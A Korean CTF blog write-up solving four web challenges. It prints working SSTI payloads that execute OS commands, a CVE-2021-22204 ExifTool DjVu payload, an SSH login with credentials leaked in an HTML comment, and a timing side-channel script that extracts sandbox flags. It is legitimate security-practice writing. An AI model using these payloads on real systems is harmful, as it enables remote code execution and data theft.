
매번 CTF 참가하고 라이트업 쓰려하니, 문제 서버가 바로 닫혀서 못 쓰다가 이번엔 풀면 바로바로 써서 저장해두려합니다.
Web 분야의 문제들만 풀어보았습니다.
1. Templates

Web 중 WarmUp에 분류되어있던 쉬운 문제입니다.
문제명부터 탬플릿이니 아마 SSTI겠죠

수상한 입력폼이 보입니다.
SSTI라고 가정하고 {{7*7}}을 넣어보면

보시다싶이 7*7의 계산값인 49가 나왔습니다.
{{config}}를 입력해보면

역시 잘 작동하네요.
이를 이용해서 os 명령어를 실행하여 flag를 찾아보겠습니다.
{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}
config가 가능하다는걸 알았기에 config 속성을 타고타고 globals의 os명령어에 닿을 수 있습니다.
일단 flag 파일의 존재 유무도 모르기에 루트 디렉토리 부터 찾아보겠습니다.

app 디렉토리에 아마 문제 파일이 있을거같죠?
app디렉토리도 보겠습니다.
{{config.__class__.__init__.__globals__['os'].popen('ls /app').read()}}

바로 찾았네요.
cat 명령어로 /app/flag.txt의 내용을 보면
{{config.__class__.__init__.__globals__['os'].popen('cat /app/flag.txt').read()}}

이렇게 플래그를 획득 할 수 있습니다.
FLAG : 0xfun{Server_Side_Template_Injection_Awesome}
2. Shell

제목처럼 Shell을 이용하는 문제 같네요.
EXIF 메타데이터를 이용해서 flag.txt를 읽으면 되는것 같습니다.

문제 서버에 들어가니 저렇게 파일을 업로드 할 수 있는 기능만 주어졌습니다.
해서 exif 관련한 cve가 풀이방법일 것 같아서 찾아보니 딱 알맞는 cve를 찾았습니다.
CVE-2021-22204를 보면 DjVu모듈의 문자열파싱 메커니즘에 허점이있어서 \c 라는 특수한 이스케이프 뒤에 ${system... } 같은 시스템 명령어가 삽입되는 취약점이 있다고합니다.
해서 아래와 같은 방식으로 익스플로잇 파일을 만들었습니다.
echo -n '(metadata "\c${system('cat /flag.txt')};")' > payload
bzz payload payload.bzz
djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTz=payload.bzz
mv exploit.djvu exploit_v3.jpg
bzz로 압축 후 djvu 형식으로 파일을 만들어 cve와 동일하게 jpg파일을 만들었습니다.
처음에 cat 명령어를 더블쿼터로 감쌌더니 재대로 작동을 안해서, 싱글쿼터로 감싸주었습니다.
그 후 문제에 올려보면

이렇게 플래그가 출력됩니다.
FLAG : 0xfun{h1dd3n_p4yl04d_1n_pl41n_51gh7}
3. Perceptions

문제 설명처럼 블로그 페이지를 보여줍니다.


로그인 페이지에서 SQLi로 푸는 문제인가.. 했는데 적힌것 처럼 로그인 서비스가 재대로 작동하지 않았습니다.
해서 개발자도구에서 소스코드를 보다보니
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Secret Post</title>
<link rel="stylesheet" href="/style.css" />
<script src="/links.js"></script>
</head>
<body>
<header class="header">
<h1 id="name">[placeholder]'s Blog</h1>
</header>
<div class="container">
<aside class="sidebar">
<h2>Pages ✨</h2>
<nav>
<ul id="navlist">
</ul>
</nav>
</aside>
<main class="content">
<h2>Secret Post</h2>
<br>
<img src="/img/mystery.jpg" alt="How mysterious" />
<p>
Thought I'd make things a bit fun and hide a password on this page. When I get the login page working it will let you see some extra posts...
<!-- Use my name and 'UlLOPNeEak9rFfmL' to log in -->
</p>
</main>
</div>
</body>
</html>
주석에 패스워드가 적혀있었습니다.
id의 경우 /name 엔드포인트에 요청해보니 Charlie 라는걸 알 수 있었습니다.
해서 아이디는 Charlie, 패스워드는 UlLOPNeEak9rFfmL 라고 파악했습니다.
문제는 login 페이지가 작동을 안하는 상태인데, 이 계정을 어떻게 쓸 지 감을 못잡았습니다.
해서 클로드에게 좀 물어보다보니, SSH의 계정이지 않을까 라는 추측을 하게 되었습니다.
문제 설명을 보면, 하나의 포트에서 여러 서비스를 처리한다고 합니다.
해서 curl로 문제 서버 포트에 ssh 연결 요청을 보내보았습니다.
ssh Charlie@chall.0xfun.org -p 54919

놀랍게도 정답이었습니다.
비밀번호는 주석에서 알아낸 UlLOPNeEak9rFfmL를 입력해주니 통과가 되었습니다.

바로 쉘에 접속하게 되어서 파일들을 보다보니 누가봐도 플래그가 있는 파일을 찾았고

flag.txt를 열어보니 위처럼 플래그를 얻을 수 있었습니다.
FLAG : 0xfun{p3rsp3c71v3.15.k3y}
4. Schrödinger's Sandbox

좀 특이한 문제였습니다.
문제 서버에 접속하면 아래처럼 코드를 실행 시킬 수 있는 페이지가 나타납니다.

파이썬 코드를 실행하면 A와 B에서 코드가 실행되고, 그 시간을 보여줬습니다.

문제 설명을 보면 같은 코드가 각각 A와 B에서 실행되고, 실행되는 값이 동일 할 때 OUTPUT에 출력되는 구조라는걸 알 수 있었습니다.
해서 아마 진짜 플래그와 가짜 플래그가 각각 A와 B에 숨겨져 있을 것이고, 시간을 보여주는걸 보니 코드가 실행되는 시간의 차이로 진짜 플래그를 찾아야하는 것 같습니다.
import time
flag = open("/flag.txt").read()
if flag[0] == '0':
time.sleep(2)
print("done")
이런식으로 출력은 done으로 고정하여 두 서버가 동일한 출력을 하게 시키고, 대신 if문으로 flag의 첫 값이 0이라면 2초를 지연시키게 함으로써 두 플래그를 모두 알아보았습니다.
예로 첫글자가 0이라면 아래 지연시간에 2s가 적힐 것이고, 아니라면 0.01에 가까운 시간이 찍힐 것 입니다.
해서 파이썬으로 자동화코드를 짜서 해결하였습니다.
import requests
import hashlib
import time
import string
import random
URL = "http://chall.0xfun.org:40842"
KNOWN = "0xfun{"
SLEEP_TIME = 2
TIME_THRESHOLD = 1.0
CHARSET = (
string.ascii_lowercase +
"_" +
string.digits +
string.ascii_uppercase +
"-!}"
)
def compute_pow(difficulty=4):
target = '0' * difficulty
while True:
test = f"{int(time.time()*1000)}-{random.randint(0,999999)}-{random.random()}"
if hashlib.sha256(test.encode()).hexdigest().startswith(target):
return test
def submit_code(code):
pow_nonce = compute_pow(4)
try:
response = requests.post(
f"{URL}/api/submit",
json={"code": code},
headers={
"Content-Type": "application/json",
"X-Pow-Nonce": pow_nonce
},
timeout=30
)
return response.json()
except Exception as e:
print(f" 요청 실패: {e}")
return {"error": str(e)}
def test_char(position, char):
code = f"""import time
flag = open("/flag.txt").read()
if len(flag) > {position} and flag[{position}] == {repr(char)}:
time.sleep({SLEEP_TIME})
print("done")
"""
result = submit_code(code)
if 'error' in result:
print(f" 에러: {result['error']}")
return None
time_a = result.get('time_a', 0)
time_b = result.get('time_b', 0)
status = result.get('status', '?')
a_hit = time_a > TIME_THRESHOLD
b_hit = time_b > TIME_THRESHOLD
if a_hit and b_hit:
label = "<<< BOTH (둘 다 이 문자)"
elif a_hit:
label = "<<< A only"
elif b_hit:
label = "<<< B only"
else:
label = ""
print(f" [{char}] a={time_a:.4f} b={time_b:.4f} {status} {label}")
return {
"char": char,
"a_hit": a_hit,
"b_hit": b_hit,
"time_a": time_a,
"time_b": time_b,
}
def extract_flag():
# 검증 테스트
print("[*] 검증: flag[0]=='0' 테스트")
r = test_char(0, '0')
print()
flag_a = KNOWN # Sandbox A의 플래그
flag_b = KNOWN # Sandbox B의 플래그
print(f"[*] 시작: {KNOWN}")
print(f"[*] 위치 {len(KNOWN)}부터 탐색\n")
for pos in range(len(KNOWN), 100):
print(f"--- 위치 {pos} ---")
a_found = False
b_found = False
a_char = "?"
b_char = "?"
for char in CHARSET:
r = test_char(pos, char)
if r is None:
continue
if r["a_hit"] and not a_found:
a_char = char
a_found = True
if r["b_hit"] and not b_found:
b_char = char
b_found = True
# 둘 다 찾았으면 다음 위치로
if a_found and b_found:
break
time.sleep(0.3)
flag_a += a_char
flag_b += b_char
print(f"\n[+] A: {flag_a}")
print(f"[+] B: {flag_b}\n")
# 둘 다 못 찾으면 종료
if not a_found and not b_found:
print(f"[!] 위치 {pos}에서 둘 다 매칭 실패. 종료.")
break
# 둘 다 }를 만나면 종료
if a_char == '}' and b_char == '}':
break
print(f"\n=============================")
print(f"[*] Sandbox A 플래그: {flag_a}")
print(f"[*] Sandbox B 플래그: {flag_b}")
print(f"=============================")
if __name__ == "__main__":
extract_flag()

FLAG : 0xfun{schr0d1ng3r_c4t_l34ks_thr0ugh_t1m3}
CTF가 끝나기 4시간전에 대회하는걸 알아채서 쉬운문제만 좀 풀다가 끝났네요.
더 하고싶었는데 아쉬운 대회였습니다.
'보안 > CTF' 카테고리의 다른 글
| [V1t CTF 2025] Web write-up (0) | 2025.11.06 |
|---|---|
| [CubeCTF] Web - Legal Snacks write-up (0) | 2025.07.07 |